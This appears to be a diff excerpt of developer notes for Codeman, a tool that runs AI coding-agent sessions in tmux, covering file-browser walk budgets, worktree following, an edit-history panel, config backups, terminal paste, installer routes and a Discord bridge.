⚠️ **A query turns that endpoint into a FLAT match list rather than a nested tree**, and the walk deliberately recurses past non-matching directories, since the whole point of searching is to reach a file whose ancestors do not match. An empty or whitespace-only query compiles to `null`, which is what keeps the default tree response byte-identical when no search is requested.
⚠️ **Both walks are a per-directory round-robin (breadth-first) over ONE 5,000-node budget.** They used to recurse depth-first through name-sorted folders, so an early folder could spend the whole budget: 4 of 57 top-level folders were shown in one real workspace. Each round divides what is left equally among the directories queued so far, and a folder's own files count as one more share beside the subfolders it has just found (`walkTurnEnd()`). Those subfolders are read in a later round, so a folder that spent all of its share on its own files left them nothing, alone in its round or beside a sibling, and search hits inside them were lost. A turn that found no subfolder holds nothing back. That is fair per directory, not per subtree: a folder of thousands of one-file subfolders still crowds out its neighbours one level down (`a/b/c/d/needle.ts` beside such a `z/` is found depth-first and missed here), and that trade is accepted, since a file browser wants the shallow levels first. Search results therefore arrive shallow-first.
⚠️ **The budget caps what a listing returns, never what it reads.** Taking turns means opening every folder found so far, where the depth-first walk stopped reading soon after its budget ran out, and a share of 16 entries costs the same read as a share of 5,000. So `readWalkFolder()` keeps only what the listing can use (the entries it lists, sorted, no more than the budget has left, with `more` recording that it dropped some: such a cursor stays queued and is flagged), and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders. The folder that crosses that line is read whole, as any folder always was, the ones not opened yet wait in `unread` and are flagged, and what was already read keeps its turns. Without the two, 100 folders of 50,000 files cost one GET 5 million entries and a 400 MB heap died (which ends the server, not the request). The price is that folders adding up to the ceiling leave later ones unread: flagged, not hidden, but not the fairness the budget gets, and a depth-first walk over the same tree showed less.
⚠️ **A folder below the walk's root is probed before it is read** (rule #516), because the round-robin reaches folders the depth-first walk stopped short of, each with an unbounded `readdir`. It is a bulk scan, so default options and the stall cap apply. `unknown` is never `absent`, so a folder the probe could not answer for goes on `unread` (`cursor.unanswered`), which flags it `incomplete` and sets `truncated`: a healthy mount that merely took longer than `PATH_PROBE_TIMEOUT_MS` on first touch would otherwise list as empty, and a search would miss it in silence. It stays unread until a later listing asks again. Only `absent` or `file`, a folder that left while the walk ran, drops out with no flag. With the cap engaged (two unrelated paths stalled, by default) every folder below the root is flagged, until one answers, which is the honest outcome: none of them was read. The root is not probed: a refused probe there would blank a healthy workspace. A `readdir` that fails after a good probe (permission denied) is still treated as an empty folder, as it always was.
⚠️ A directory gets its node, with `children: []`, when it is counted and is read in a later round, so every cursor still queued after the loop, and every one in `unread`, is a folder that is unread or half read: it must carry `incomplete: true` or it reads as an empty folder, the failure that went from 0 to 635 such folders before the flag existed. `renderFileBrowserTree` draws one dim, inert row under it while it is expanded, worded to fit either reason, and the row is not a `.file-tree-item`, so the click wiring leaves it alone. The budget check inside the round runs BEFORE each `shift()`, so a directory the round skips stays queued and keeps its flag. Hidden and excluded entries are dropped at the read, so they never leave a folder looking unfinished, but a folder found as the budget ended is flagged unread even if it would have turned out to be empty: only reading it could tell. The walk's root has no node, so `truncated` is its only signal, and a folder dropped at the depth cap is not flagged: it looks the same as it always has.
⚠️ **Globs are never compiled into a RegExp**: `*a*a*a…` translated to `^.*a.*a.*a…$` is a classic backtracking blowup evaluated synchronously against every walked path, so one pathological query would freeze the event loop for the whole server (the same reason `search-service.ts` is regex-free). `globMatch()` is a two-pointer wildcard walk instead, O(text · pattern) with both operands short by construction, and an overlong query (`MAX_QUERY_LENGTH`, 256) also compiles to `null` rather than running.
Matching semantics: a query containing `/` matches the relative path, otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
Matching semantics: a query containing `/` matches the path relative to the folder being walked (`workingDir`, or the worktree of a `root=live` listing; the returned `path`s stay relative to `workingDir` either way), otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
### Files panel in a worktree
**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` on `GET /api/sessions/:id/files`): Claude Code's EnterWorktree moves the running process into `<repo>/.claude/worktrees/<name>`, while `Session.workingDir` is the session's identity and stays on the main checkout, so the panel kept listing a tree the agent had left. `paneCwd` does follow, in both directions, because tmux reads the process cwd (measured on 2.1.318). Hook payloads are the wrong signal: their `cwd` follows every `cd` in a Bash call too.
When `paneCwd` changes, `refreshLiveWorktree()` (server.ts) runs `findLiveWorktree()`, which walks up from the pane and recognises a linked worktree by its `.git` FILE (`gitdir: .../worktrees/<id>`). It never runs git, since this fires from the pane watcher and a file read starts no process, config or filter. The walk stops at `workingDir`, at a repository or submodule of its own and at anything it cannot read; probes are bounded (#516), and a `.git` that is a symlink or a FIFO is refused before anything opens it. The answer is published as `SessionState.liveWorktree`. A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel.
⚠️ **That answer is lexical and goes stale.** It is judged only when the pane moves, and a symlink can take the place of the folder, or of a parent, afterwards without moving the pane, while `probePathKind()` and `readdir` both follow one. So `root=live` checks again on every request: `canWalkLiveWorktree()` (file-routes.ts) probes the folder, resolves it and `workingDir`, and the walk starts at the worktree only when that resolves strictly inside the resolved `workingDir`; otherwise it starts at `workingDir`, as it does for a worktree that has gone. The 1.49.0 release review reproduced the escape end to end on tmux 3.4: without this check a symlink swapped in after the lookup listed the names and sizes of a folder outside the workspace, though `file-content` and `file-raw` refused those paths. The root is the only place this can happen, because the walk does not follow a symlink below it (`Dirent.isDirectory()` is false for one). A swap between the check and the `readdir` is the same check-then-use race any path route accepts.
⚠️ **Only the check uses resolved paths.** The walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`, and the listing's `path`s stop working on the file routes.
⚠️ `liveWorktree` only moves where a listing STARTS, so never make it a confinement root. Returned `path`s stay relative to `workingDir`, which is why `file-content`, `file-raw` and the edit route need nothing new. Serving a worktree outside the folder (`git worktree add ../feature`) would need a second root, so those stay unfollowed, and so does a worktree of a session started below the repository's top, because Claude Code puts it at the top, outside the session's folder.
⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that report with the session's state, and an absent report would reload forever.
Two surfaces do not move with it. The Git panel keeps working from `workingDir`, so it shows the main checkout's branch while the strip names the worktree. And `POST /api/sessions/:id/html-view` applies its dot-segment rule below `workingDir`, so while the session's folder is the main checkout a page under `.claude/worktrees/<name>` is refused and opens as source (a session started in the worktree renders it). Tests: `test/live-worktree.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/file-browser-worktree.test.ts`.
### Raw file bodies: streamed and range-aware
@@ -742,6 +798,28 @@ Matching semantics: a query containing `/` matches the relative path, otherwise
⚠️ Closing the preview must **pause and unload** the media (`_stopFilePreviewMedia` in panels-ui.js): dropping the overlay's `visible` class is `display:none` and nothing else, and a DETACHED `HTMLMediaElement` keeps playing, which is how the X button used to leave a video audible with no player to pause.
### Edit history panel
**Edit history panel** (issue #643; `showEditHistory`, per-device, default OFF): which files a claude session edited, local or remote SSH (main agent and subagents), each edit's diff, and images a Bash call produced, read from the session's transcripts by byte offset, never from git. Parser `src/edit-history-parse.ts` (pure), store `src/edit-history-store.ts`, reader `src/edit-history-local-source.ts` (remote: `remoteLocateClaudeTranscript` / `remoteReadClaudeEditSources` in `src/remote-files.ts`), sync `src/web/edit-history-sync.ts`, routes `src/web/routes/edit-history-routes.ts` (`GET /api/sessions/:id/edits[?sync=1]`, `GET …/edits/:entryId`, `POST …/edits/older`, all through `findSessionOrFail` WITH `req`), panel `edit-history-ui.js`. User guide: `docs/wiki/Working-With-Files.md` § Edit history.
⚠️ **Reads only on request, opt-in all the way down.** `server.ts` builds the `EditHistorySync` and hands it to the routes; its only own calls are `remove` (through `forgetEditHistory`, when the session's persisted record goes), `sweep` (startup) and `flushAll` (shutdown). No hook, no timer, no second watcher. The panel drives every read: `?sync=1` when it opens, and while it is open on that session a debounced (600 ms) re-read after a `transcript:tool_end` of an edit-capable tool (Edit, Write, MultiEdit, NotebookEdit, Bash, Agent, Task, SendUserFile), which the existing `TranscriptWatcher` already broadcasts, or the session's `session:idle` (the end of a turn, via `_onSessionIdle`; it also catches a background subagent that writes after the tool end that started it). Not `transcript:complete`: it fires on a `result` line, which claude's interactive transcript never has. A closed panel reads nothing and keeps no badge. Guarded by the "reads only on request" wiring test in `test/edit-history-sync.test.ts`.
⚠️ **Which transcript** (`resolveClaudeTranscript`). The main transcript is the path the session's `TranscriptWatcher` follows (the hook-reported `transcript_path`), so a session is read from where its claude really writes, whatever its `CLAUDE_CONFIG_DIR`. Without a watcher (server restarted, no hook since), `findClaudeTranscript()` looks for `<claudeSessionId|id>.jsonl` under `claudeProjectsDir(session.claudeConfigDir())`: the session's own override (#255, the same dir the relaunch pin checks), else the server's. A config dir set outside Codeman (a shell profile, a wrapper) is never guessed: until the next hook such a session answers `unavailable` / `no-transcript`, and the panel says so. Subagents are `<main path without .jsonl>/subagents/agent-<id>.jsonl`. A different main file (`/clear`, resume): the previous one, next to it in the same directory, is first read to its end with its subagents (over as many syncs as that takes), then the new one from its end with fresh cursors; the stored entries stay. "Load older" reaches back within the current conversation only, and reads the stored conversation's transcript while the switch is still pending.
⚠️ **Bounded reads.** A sync is at most `MAX_FORWARD_PASSES` (3) reads, each at most `READ_BUDGET_BYTES` (8 MiB) shared by the main transcript and all subagents (main first), plus up to 8 KiB of `meta.json` per subagent seen for the first time; a first read starts that far before the end. A file whose chunk the shared budget cut short is not applied but read in a later pass (the store would take a chunk with no line end for one line longer than the budget). "Load older" reads a full-budget block of up to `MAX_OLDER_SOURCES` (3) transcripts per click; with more, they take turns. A line longer than the budget is skipped, going forward and going back, and the line after (before) it is read whole. A subagent transcript that vanished loses its cursor, not its entries. Parsing happens in the request, line by line; nothing runs on the PTY data path. One sync per session at a time, and requests during a run fold into one more run. At most `MAX_LOADED_STORES` (3) stores stay in memory: past that the least recently used one without a run in flight is written (only if it changed) and dropped, and a later request loads it again after that write.
⚠️ **The store holds secrets.** Every diff an agent wrote ends up in `dataPath('edit-history')/<sessionId>.json`, API keys and `.env` contents included. It is written 0600 via tmp + rename (a fresh file each time, so an existing store never keeps wider bits; a new directory is created 0700) and bounded per session: `MAX_ENTRIES` (500) and `MAX_STORE_BYTES` (4 MiB of diff text, paths and ids), oldest dropped, also on load. Each edit's diff is capped at `MAX_HUNK_BYTES` (64 KiB); the file also holds one cursor per transcript file of the current conversation, at most `MAX_PENDING_BASH` (200) unanswered Bash calls of at most 8,192 characters of command text each (a call with an id, cwd or agent id over 4,096 characters is not kept, and dropped on load) and `MAX_AGENTS` (501) subagent labels of at most 1,024 characters per string. `load()` takes the file as untrusted: one over `MAX_FILE_BYTES` (32 MiB) is not parsed, and the rest is rebuilt from its known fields under the same bounds (unknown fields and non-string diff lines dropped, the per-edit cap applied again, a transcript id with anything but `[A-Za-z0-9._-]` dropped, since the previous transcript's path is built from it). Writes are serialized. The store lives as long as the session's persisted record: `forgetEditHistory` runs when `cleanupSession` with `killMux` removes the record (a pinned session's record is only demoted and keeps its history), on the persisted-only `DELETE /api/sessions/:id`, for every record `cleanupStaleSessions` drops at startup and every one `POST /api/cleanup-state` drops. After that startup cleanup, `sweep` deletes the `edit-history/*.json` files whose session is neither live nor recorded (left behind by a crash between removing the record and deleting the file, or by an older build) and tmp files of earlier runs (named per process start, so a pid used again, a container's pid 1, does not keep one). While `remove()` runs, nothing writes the file again: a sync in flight stops after its current read, and a request meanwhile reads nothing (`unavailable` / `removed`). The routes start a sync in the same tick as their session check, so a request that passed the check before the deletion cannot start one afterwards. Then the session's slot goes, and a session that comes back with the same id (reboot restore re-creates it) starts afresh. A store that is not loaded is deleted without being parsed. The store is blocked in `isSensitivePath` (`/.codeman*/edit-history/`, same reasoning as `intents.json`) and never fed to `/api/search`.
⚠️ **Images only through existing file surfaces.** A Bash image candidate counts only when the file's mtime lies in the call's window (start − 2 s … end + 2 s) and no entry already covers that file version; `SendUserFile` images need no window. The panel shows a thumbnail only inside the workspace, through the confined `file-raw` route. An image outside it gets no thumbnail (each would mint an attachment id per render); a click opens the shared file preview, which registers it once through `POST /api/sessions/:id/attachments` with `notify: false` (its extension allowlist and `isSensitivePath` apply). SVGs get no thumbnail, and neither does any image of a remote session (its `file-raw` streams over ssh, one read per listed row); a click previews it. No route of this feature serves a file, least of all a transcript path.
⚠️ **Transcript paths are agent-printed, so they are probed BOUNDED and scanned in linear time** (#516; #693 review). `probeLocalPaths()` sends each candidate through `probePathKind()` (no `pastCap`: a bulk scan), one at a time, and only a path that answered `'file'` gets `realpath` + `stat`; a path on a mount that stopped answering costs one stalled stat, never a sync, a queued sync or `remove()` that cannot finish (`test/edit-history-probe-stall.test.ts`). A remote session's candidates go through `remoteProbePaths()` instead, one bounded ssh round trip per 40 paths; a failed probe ends the probing for that read, and its edits stay in. `PATH_TOKEN_RE` runs synchronously in the request, over Bash output of up to 30,000 characters: an unquoted token may start only at a token boundary (line start or a token-ending character, `:` excluded so URLs stay ignored), and the `file://` branch stops at the next `file://` (`:` stays allowed for timestamped names). A lookbehind that merely excludes some characters lets a match start at every character of a long token and rescan it, quadratic in the line (2.7 s for 30,000 `#`). Time-budget regression tests in `test/edit-history-parse.test.ts`. Forward reads and "Load older" yield to the event loop between the files they parse (up to 8 MiB each); a store removed meanwhile ends the read before its images are probed. Docker and non-claude sessions never load a store on any route.
Paths, agent descriptions and diff lines render via `textContent` only (browser test with a hostile path). The header button uses the marker-class pattern (`btn-edit-history--hidden`) and stays off phones (`mobile.css`, locked in `test/mobile-header-buttons-policy.test.ts`). Docker, non-claude and adopted sessions answer `unsupported` and are never read.
⚠️ **Remote (SSH) sessions: read over ssh, never woken.** The sync stays path-based; its deps get the session, and `server.ts` routes them to the local reader or to `remote-files.ts`. `transcriptPath` is one ssh round trip (`buildRemoteClaudeTranscriptLocateCommand`): first the conversation the claude process in the session's remote pane writes now (its `<config dir>/sessions/<pid>.json`, found through the pane's process tree, since a remote host sends Codeman no hooks), else the most recently written `<config dir>/projects/*/<id>.jsonl` of the stored history's conversation, `<claudeSessionId>` and `<id>` (`remoteTranscriptIds`; nothing moves `claudeSessionId` after a remote `/clear`, and no fixed order is right both after a `/clear` and after a respawn that resumed the launch conversation); the result is an absolute path on the host. A read pass is one more round trip (`buildRemoteClaudeEditSourcesCommand`), or several with more than 300 subagent requests (below), with the local reader's semantics: offset clamped to the size, a block with `len` ends at `offset + len`, a new file reads its tail, one budget shared main-first, `onlyRequested` for "Load older", at most 8 KiB of `meta.json` per subagent (within a 4 MiB meta budget per read, which the local reader does not have: a meta comes only with a subagent's first read, so one past the budget is never sent and that subagent shows its id instead of its description). `test/remote-edit-sources.test.ts` runs both scripts on a real `sh` against a temp `$HOME` and compares the read byte for byte with `readClaudeEditSources` on seeded random transcripts, so `/clear` catch-up, "Load older", cursors and the store LRU behave remotely as locally. Every request value reaches the script only after validation (id `[A-Za-z0-9._-]`, relPath `main` or `subagents/agent-<id>.jsonl`, integer offsets) and shellescaped; the scripts run under `sh -c` with `LC_ALL=C`. The config dir is an absolute `CLAUDE_CONFIG_DIR` of the ssh command's environment, else `$HOME/.claude` (claude's own rule); the remote claude runs under `$SHELL -i -l -c`, the lookup under a plain `sh`, so a value set only in a login or interactive profile (`.profile`, `.bash_profile`, `.zshrc`) is not seen. A round trip's timeout grows with its byte cap (`remoteEditSourcesTimeoutMs`: 30 s plus the transfer at 256 KiB/s), since a forward pass may carry 13 MiB and "Load older" 29 MiB. ⚠️ **Never wakes:** the lookup and the reads go through `buildRemoteEditHistoryCommand` (`buildRemoteFileCommand` with `exec`, so a timeout reaches ssh and not only the local `sh -c`, which on dash stays its parent), the image probes through `remoteProbePaths`, and all of them through `runWithRemoteSshLimit` (`ConnectTimeout=10`), so a sleeping host is a connect timeout and the panel shows `unavailable` with the stored entries; the edit-history read path reaches neither `remote-wake.ts` nor `session-routes.ts`, even transitively (guard in `test/remote-edit-sources.test.ts`). Without hooks there is no `transcript:tool_end`, so an open panel re-reads on `session:idle` and the refresh button only.
⚠️ **A read with more than 300 subagent requests spans several round trips** (`planRemoteEditSourceRounds`, `EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP`). The script is one argument of the ssh line, Linux caps a single argv string at 128 KiB (`E2BIG` at about 1000 subagents), the cursors have no cap and the stored conversation is read first, so one script for all of them left a long history `unavailable`, and not even a `/clear` got past it. The cut is by NAME RANGE, not only by count: the script takes a file no `case` line names for a new one (its tail, its meta), so plain groups would read each other's files as new. Each round trip walks only the names between its cuts (one `awk` per round trip, never a fork per file), so a new file lands in exactly one range. Main comes with the first round trip, budget and meta budget carry over, and a later round trip still lists its files, because a requested file missing from the result loses its cursor. A failed round trip fails the whole read and nothing of it reaches the store; each one takes its own limiter slot. The merged result equals the local reader's, byte for byte (the fuzz test cuts every read at a random size). A read of up to 300 runs no `awk` at all. ⚠️ No `case` inside a `$(…)`: bash 3.2, macOS `sh`, cannot parse it, which is why the names come from a shell function.
### Config backups
**Config backups** (`src/config-backup.ts`, pure over the directories it is handed; `routes/config-backup-routes.ts`; the Config backups group in App Settings → System, `settings-ui.js`; contributed in #661, user guide `docs/wiki/Config-Backups.md`, endpoints in `docs/api-reference.md`): timestamped snapshots of the files that hold what a user customized, so a bad write can be undone. Settings (SYNCED): `configBackupEnabled` (absent = ON, since it protects against an event nobody schedules), `configBackupDir` (absolute, `~` expanded; empty, relative or the data dir itself = `<data dir>/backups/config`), `configBackupKeepCount` (2 to 500, default 20), `configBackupKeepDays` (0 to 3650, default 30, `0` = no age limit). A snapshot is a `cfg-YYYYMMDD-HHMMSS` folder (server local time, `-2`, `-3`… on a same-second collision; mode 0700) holding the tracked files under their own names plus a `manifest.json` (all 0600): `id`, `createdAt`, `reason` (`startup`/`auto`/`manual`/`pre-restore`), `appVersion`, the change-check `hash`, the `origin`, the `keepCount`/`keepDays` in force, and a SHA-256 and size per file. It is built in a `.tmp-cfg-*` folder and renamed into place; a pass sweeps temp folders older than an hour. Passes run at startup and every 5 minutes (`CONFIG_BACKUP_INTERVAL_MS` in `server.ts`, not in test mode), and on **Back up now** (forced).
@@ -817,7 +895,7 @@ Feedback is silent on success except ONCE per page load (a feature that works by
### Terminal paste (Ctrl+V)
**The Ctrl+V paste trap consumes exactly ONE paste event.** `_handleImagePaste()` (image-input.js) appends a hidden `contenteditable` div, focuses it, and reads the clipboard out of the paste event that lands there. An image becomes an upload whose saved path is typed into the session; text goes through `terminal.paste()`, so the bracketed-paste markers survive. Two independent routes deliver that event for one keypress, and a browser may fire both:
**The Ctrl+V paste trap consumes exactly ONE paste event.** `_handleImagePaste()` (image-input.js) appends a hidden `contenteditable` div, focuses it, and reads the clipboard out of the paste event that lands there. An image becomes an upload whose saved path is typed into the session; plain text is a Codeman-built bracketed paste (`\x1b[200~` … `\x1b[201~`, nested markers stripped, newlines as `\r`) handed to that pane's terminal via `terminal.input(framed)`. `terminal.paste()` only emits those markers while xterm's DECSET 2004 mirror is on, and a terminal replay clears that mirror (#716), so Ctrl+V builds the frame itself. `input()` fires onData as user input, which scrolls to the bottom and clears the selection. The main pane's onData bracketed-paste branch and a tile's `_onTerminalData` deliver the frame, which is where the local-echo flush and the delayed write live (#219). A frame wrapped in CSI 200~/201~ does not match the query-reply or mouse-report filters. The terminal is refocused; the paste is not written into the xterm buffer. Two independent routes deliver that event for one keypress, and a browser may fire both:
1. **`document.execCommand('paste')`**, which the function calls itself. ⚠️ Its return value proves nothing about whether it fired. Firefox dispatches a trusted `paste` event carrying the real clipboard and still returns `false`, because the trap cancels the event and the command therefore never completes. Chromium refuses the command outright and dispatches nothing.
2. **The keydown's own default action.** The `Ctrl+V` branch in `attachCustomKeyEventHandler` returns `false`, which stops xterm from evaluating the key into `^V` but does not cancel the DOM event, for the same reason rule 1 of smart copy above spells out. `trap.focus()` has already run by then, so the browser sends its own paste to the trap as well.
@@ -1047,6 +1125,8 @@ Tests: `test/terminal-touch-tap.test.ts`, `test/session-swipe-gesture.test.ts` (
**Ledger.** CSS only, on `.tabs-ledger` inside `@media (min-width: 768px)` and the header host: the flat list on an auto-fill column grid with equal cells, mono type and a 3px status bar (`--ledger-bar`: yellow for a waiting alert, red for an action alert or an error, muted for stopped, exited and web tabs) instead of the dot. ⚠️ It must not change the markup (pinned: the ledger's innerHTML equals classic's); the rail, the sidebar and narrower strips show the plain list.
**Classic, wrapped: the L-shaped strip.** Once a classic desktop strip in the header host wraps (`tabs-auto-wrap`, or the manual `tabs-two-rows`), `_syncTabStripCorner()` (app.js) adds `.tabs-corner`: `#headerRight` goes `position: absolute` over the strip's top-right corner and the strip runs the header's full width, so only the row(s) beside the toolbar stop short of it and every later row uses the width under it. A flex line cannot be shortened on its own, so in that state the strip is `display: block` with `inline-flex` tabs flowing around a `::before` float sized from the toolbar's box (`--tab-corner-width` / `--tab-corner-height`); the old `row-gap` (lineage's `--lineage-row-gap` included) becomes the tabs' bottom margin and the bottom padding shrinks by the same amount, so row spacing and lineage routing room are unchanged. ⚠️ `updateTabOverflowMode()` removes `.tabs-corner` BEFORE it measures the wrap (the corner takes the toolbar out of the header's flow, which widens the strip), so the wrap is still judged against the one-row layout and an unwrapped strip looks exactly as before. ⚠️ Flex-only rules do not apply to the strip in that state. ⚠️ A strip that already scrolls (past `--tab-strip-max-height`) keeps the plain wrap, checked on the plain strip before the class goes on: the float scrolls with the tabs while the toolbar stays put, and toggling the class on a scrolled strip lets scroll anchoring move it; a strip pushed past the max-height by the float itself falls back too. A first tab too wide for the room beside the toolbar (the whole first line would drop below it) is trimmed to the room instead (`tab-corner-fit`, `max-width: var(--tab-corner-first-max)`, its name ellipsized): a selected tab is wider (gear and close show), so a fallback here made the whole layout follow the selection. Only a room under `TAB_CORNER_MIN_FIRST_TAB` keeps the plain wrap. ⚠️ The cap goes on the first tab on every pass, never only once it measures too wide: `selectSession()` widens a newly selected tab at once and this sync is debounced, so a cap set afterwards leaves the first row below the toolbar until it runs. It changes nothing on a tab narrower than the room. A `ResizeObserver` on the toolbar re-decides wrap and corner and redraws the connection lines when a reading or the header divider resizes it without a tab render. Scope: classic arrangement, desktop, header host only; state/case/ledger, the sidebar and the vertical rail never get the class (`applySessionListLayout()` drops it when the strip moves). Tests: `test/tab-strip-corner.browser.test.ts` (browser suite).
With `classic` nothing is left behind: no headings, no breaks, no inline order, no boxes, no name split, no arrangement class. A stale cached mobile-overview.js degrades every grouping to the flat strip. Tests: `test/tab-triage.test.ts`, `test/tab-clusters.test.ts`.
### Header stats styles
@@ -1269,6 +1349,16 @@ Its CLI knowledge is a GENERATED block (`npm run generate:cli-catalog`, markers
⚠️ It executes ONLY commands from the embedded block (`CLI_INSTALL_CMD_TRUSTED`) — there is no network fetch of the catalogue at install time to worry about at all.
**No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, 2026-11-05). Everything Codeman writes was always under `$HOME`; administrator rights were only ever spent on prerequisites. `resolve_admin_mode` decides once per run whether those rights may be asked for: root yes; a Mac account outside the `admin` group no (unless a Homebrew it can write to exists); on Linux no without a `sudo` binary, or when the account is outside `sudo`/`wheel`/`admin` AND `sudo -n true` fails. ⚠️ It is never decided by `sudo -v`: that prompts, and a refused password from an account outside sudoers is reported to the administrator. A refused password on the system route offers this route instead of ending the run (`sudo_session_try`). ⚠️ The group test is a judgment, not a fact: no probe can read sudoers without reporting to the administrator, so an account sudoers lists by name, with a password, lands here too. `NO_ADMIN_REASON` must therefore say the rights could not be confirmed (`NO_ADMIN_UNCONFIRMED`), never that the account may not use `sudo`, and every message that ends or sums up the route carries `no_admin_override_hint`, which names `CODEMAN_NO_ADMIN=0` for that reason alone (`--no-admin` asked for the route; a `sudo` that is missing or refused has no way back).
On this route Node.js comes from nodejs.org (`latest-v<major>.x/SHASUMS256.txt` names the tarball AND carries its checksum, one fetch, no JSON parsing) into `~/.codeman/runtime/node`, and tmux from the tmux project's `tmux-builds` release into `~/.codeman/runtime/bin`. ⚠️ `tmux-builds` publishes no checksum file, so `tmux_build_sha256` pins all four digests of `TMUX_BUILD_VERSION`; bump the version and the digests together (the GitHub release API returns them as `digest`). ⚠️ A download is verified BEFORE it is unpacked or run, and an empty expected digest never passes. `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin` (`link_into_local_bin` refuses to replace a file that does not already point into the runtime, and uninstall removes only such links): the `codeman` launcher is `#!/usr/bin/env node`, and a non-interactive shell never reads the PATH line written to an interactive profile. The runtime's `node/bin` also goes on PATH and on the LaunchAgent's `svc_path`, since `npm install -g` puts AI CLIs beside that Node.js.
⚠️ `no_admin_blocker` runs before the first download and stops for what this route cannot supply: a C/C++ toolchain on Linux (node-pty 1.1.0 compiles there; a node-pty with Linux prebuilds is what would lift this, and it is a dependency decision, not an installer one), musl, a platform nodejs.org or tmux-builds has no build for, and macOS below 15 (the tmux build's deployment target). ⚠️ Nothing between the "No-admin route" header and "End of the no-admin route" may run `sudo`, `ensure_sudo`, `run_as_root`, Homebrew or `xcode-select --install`; `run_as_root` itself refuses while `NO_ADMIN=1`, so a missed call site fails instead of prompting.
**Driving the installer from a program** (`--ai-cli`, `--progress`, `install.sh preflight`, 2026-11-06). Codeman Desktop installs with no terminal: it runs `install.sh --no-admin --service --progress --ai-cli <id>|none` with `CODEMAN_NONINTERACTIVE=1` and its stdin closed, and asks the two questions in its own window (`packages/desktop/src/gui_install.rs`). `--ai-cli` answers the agent menu, so the one thing `CODEMAN_NONINTERACTIVE` used to decide by itself (the first entry of the catalogue) is the user's. ⚠️ `cli_offerable` is the ONE rule for what can be installed here: the menu, `--ai-cli` and `preflight`'s `installable` all read it, so the app's list and the menu cannot disagree. A name that is not offerable here warns and carries on, and never falls back to another CLI; a typo dies in `parse_flags` before anything runs. `install.sh agent <id>` installs one CLI and nothing else, for Codeman Desktop's *Add a coding agent*: no service, no source, no build, so it may run next to a live server, and an agent already there is a success that runs nothing. ⚠️ It calls `run_offered_cli`, checks `CLI_FOUND_PATH` of that one entry itself and only then prints `done`: `install_offered_cli`'s gate is fatal only when NO CLI is left, which is right for a first install and would report success here, where another CLI is usually present. ⚠️ The app passes `--no-admin` to both `preflight` and `agent`, because that flag decides what `cli_offerable` allows; pinned in `gui_install.rs`. ⚠️ The app runs it from a folder of its own (`Run::Agent`), so `ps` never reads an agent run as "Codeman is being installed". A running server remembers a missing CLI for up to 5 minutes (`cliResolveRetryDelayMs`), and only the CLI management routes clear that, so the app says so on its last screen and never restarts the service for it. ⚠️ `preflight` prints only JSON on stdout and changes nothing; `schema` moves only when a field changes meaning, because the app ships on its own and refuses a number it does not know. Fields may be added freely. ⚠️ `progress_phase` writes to stderr, not stdout, because a function can run inside a `$( )` that captures stdout. The phases must stay in the order of `PHASES` in `connect.html` (pinned by test), `done` must stay the last thing `main()` reports, since a run that ends without it failed, and an unknown phase is ignored by the app, so a new phase needs no new app. ⚠️ `error()` carries the text as `@@codeman error`, and the app shows the FIRST one: the ones after it are consequences (`Installation failed. Partial...`).
⚠️ **git is judged by whether it works, never by `command -v`.** On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that opens Apple's install dialog, so `check_git` judges that path by `xcode-select -p` and never executes it; any other git is asked for `--version`. `scripts/git-hooks.mjs` has the matching guard (no `.git`, no `git` call), because postinstall runs it on every `npm install`. Without a working git the source is an archive (`fetch_source_archive`, GitHub's `archive/<ref>.tar.gz` or `CODEMAN_TARBALL_URL`) and the install directory carries the marker `.install-source`, which `detectInstallKind` reads as `archive` (the name is pinned across both files by `test/install-sh-invariants.test.ts`). ⚠️ An archive install is replaced as a WHOLE, never patched in place: nothing says which files a newer version dropped, and a stale `src/*.ts` would be compiled. The new tree is fetched and built in `<install dir>.new` and `finish_source_swap` moves it into place only after `npm run build` succeeded, so a failed update leaves the running install untouched; a re-run on a machine that has gained a working git stages a clone instead, which turns the install back into a git one. ⚠️ `download`/`download_to_stdout` resolve `DOWNLOADER` themselves (`require_downloader`): only `main()` used to set it, so a subcommand that downloads died on `set -u` with the message swallowed by the step log.
## Agent inspection and guarded submission
These three operations are experimental across both CLI and HTTP, including the
@@ -1362,3 +1452,16 @@ refuses them (`GuardedInputBusyError`, which `send-key` answers as `409 CONFLICT
not edits. Never retry ambiguous Enter delivery or clear an unverified composer.
The ordinary SubmitVerifier uses the shared write boundary, so each re-press
updates `lastSubmitAt` just like any other Enter.
## Discord bridge
`src/discord-bridge.ts`, `src/web/routes/discord-routes.ts`, `src/cli-notify.ts`. Opt-in, two-way, one thread per tab. User docs: [discord-bridge](discord-bridge.md).
- **Who can type into a tab.** Only `allowedUserIds`, in `guildId`, inside a thread the bridge created. Everything else is dropped unread. A reply is one printable line plus Enter (a lone digit while a permission or question is pending goes as the key alone, since the dialog acts on it), capped and rate limited, and typed with `fromUser: true`. The bridge's own startup hint is typed with `fromUser: false`.
- **A Discord failure never reaches a session.** `notify()` never throws; a failed thread creation is returned by `threadFor` as a `DiscordResult`, not read back from shared state.
- **`null` means the bridge is off.** A deduped automatic event answers `{ ok: true, deduped: true }`; a deliberate `codeman notify` is never deduped. A 200 from `discord-notify` carries the delivery result in `data.ok`, and `codeman notify` exits 1 when it is false.
- **Threads belong to a parent channel.** `discord-bridge.json` is `{ parentChannelId, threads }`; `reload()` drops the map when the channel changes, and a creation that finishes after the change is discarded.
- **Deletes come from the cleanup path** (`killMux` true), never from `session:deleted`, which a detach also fires.
- **Files.** Received files come only from Discord's HTTPS hosts into `<tab folder>/.codeman-discord/` (bounded probe, refused if a symlink, self-ignoring). A sent file's real path must lie inside the tab's folder; both the folder and the file are probed with the bounded probe first.
